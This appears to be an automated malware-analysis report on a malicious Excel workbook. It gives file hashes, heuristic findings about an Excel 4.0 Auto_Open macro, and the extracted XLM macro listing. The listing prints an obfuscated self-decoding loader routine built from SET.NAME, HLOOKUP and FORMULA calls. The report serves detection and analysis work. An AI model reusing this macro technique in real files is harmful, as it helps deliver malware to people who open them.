Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e645d26dc93bde0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:40 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: d27410ae8a23e37066d011c8ea75410c SHA-1: 4cdefca60b6c7e80813432b3c5d16f9dd50fc98e SHA-256: 3e645d26dc93bde0940f77f306482cb89846233d443f9618e2355b17c6e9cf9d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6557 bytes
SHA-256: ba8e8ec8d7a4d01f072d237935f01ce75bd5aab5f14c3278fba915b1986b6c09
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DmZMKNkh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G171 
' 0018     25 LABEL : Cell Value, String Constant - biqfZObJXd len=0 
' 0018     27 LABEL : Cell Value, String Constant - CHobtjcBxvGU len=0 
' 0018     23 LABEL : Cell Value, String Constant - dsjAPGdx len=0 
' 0018     20 LABEL : Cell Value, String Constant - DYEAo len=0 
' 0018     23 LABEL : Cell Value, String Constant - FpUHcZug len=0 
' 0018     22 LABEL : Cell Value, String Constant - FZFrXZQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - gjTyEQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - gwWbRfchpytO len=0 
' 0018     20 LABEL : Cell Value, String Constant - HFbBW len=0 
' 0018     24 LABEL : Cell Value, String Constant - HHgGjpbPT len=0 
' 0018     26 LABEL : Cell Value, String Constant - hnMuDBBmZnT len=0 
' 0018     24 LABEL : Cell Value, String Constant - IreCICmhh len=0 
' 0018     21 LABEL : Cell Value, String Constant - jNVZGG len=0 
' 0018     26 LABEL : Cell Value, String Constant - UuvsNIdTUbw len=0 
' 0018     25 LABEL : Cell Value, String Constant - uYNpOnfQhb len=0 
' 0018     27 LABEL : Cell Value, String Constant - vCDaBeTaLnzW len=0 
' 0018     20 LABEL : Cell Value, String Constant - xohzu len=0 
' 0018     24 LABEL : Cell Value, String Constant - XuqnEtUqs len=0 
' 0018     26 LABEL : Cell Value, String Constant - YiIsbOLbAXW len=0 
' 0018     24 LABEL : Cell Value, String Constant - zaMcMdIES len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DmZMKNkh,G81,"SET.NAME("DYEAo",VALUE("0"))",""
'  DmZMKNkh,G85,"SET.NAME("YiIsbOLbAXW",DYEAo)",""
'  DmZMKNkh,G90,"SET.NAME("HFbBW",DYEAo)",""
'  DmZMKNkh,G93,"SET.NAME("FpUHcZug",COUNTA(IreCICmhh))",""
'  DmZMKNkh,G96,"SET.NAME("dsjAPGdx",COUNTA(gwWbRfchpytO))",""
'  DmZMKNkh,G99,[],""
'  DmZMKNkh,G103,"SET.NAME("FZFrXZQ","")",""
'  DmZMKNkh,G105,"YiIsbOLbAXW",""
'  DmZMKNkh,G109,"SET.NAME("gjTyEQ",HLOOKUP("*",IreCICmhh,YiIsbOLbAXW,FALSE))",""
'  DmZMKNkh,G112,"HHgGjpbPT",""
'  DmZMKNkh,G116,"SET.NAME("jNVZGG",DYEAo)",""
'  DmZMKNkh,G118,[],""
'  DmZMKNkh,G121,"jNVZGG",""
'  DmZMKNkh,G125,"UuvsNIdTUbw",""
'  DmZMKNkh,G130,"vCDaBeTaLnzW",""
'  DmZMKNkh,G133,"XuqnEtUqs",""
'  DmZMKNkh,G136,"SET.NAME("zaMcMdIES",VALUE(HLOOKUP("*",gwWbRfchpytO,XuqnEtUqs,FALSE)))",""
'  DmZMKNkh,G140,"biqfZObJXd",""
'  DmZMKNkh,G142,"FZFrXZQ",""
'  DmZMKNkh,G147,"HFbBW",""
'  DmZMKNkh,G152,NEXT(),""
'  DmZMKNkh,G155,"uYNpOnfQhb",""
'  DmZMKNkh,G159,"SET.NAME("f",INT(T(FORMULA(T(FZFrXZQ)&"",""&T(uYNpOnfQhb)))))",""
'  DmZMKNkh,G164,"hnMuDBBmZnT",""
'  DmZMKNkh,G166,NEXT(),""
'  DmZMKNkh,G169,RETURN(),""
'  DmZMKNkh,G195,"SET.NAME("CHobtjcBxvGU",G81)",""
'  DmZMKNkh,G200,"IreCICmhh",""
'  DmZMKNkh,G203,"SET.NAME("gwWbRfchpytO",R68C12)",""
'  DmZMKNkh,G206,"SET.NAME("hnMuDBBmZnT",215)",""
'  DmZMKNkh,G211,"SET.NAME("xohzu",7)",""
'  DmZMKNkh,G214,CHobtjcBxvGU(),""
'  DmZMKNkh,G215,HALT(),""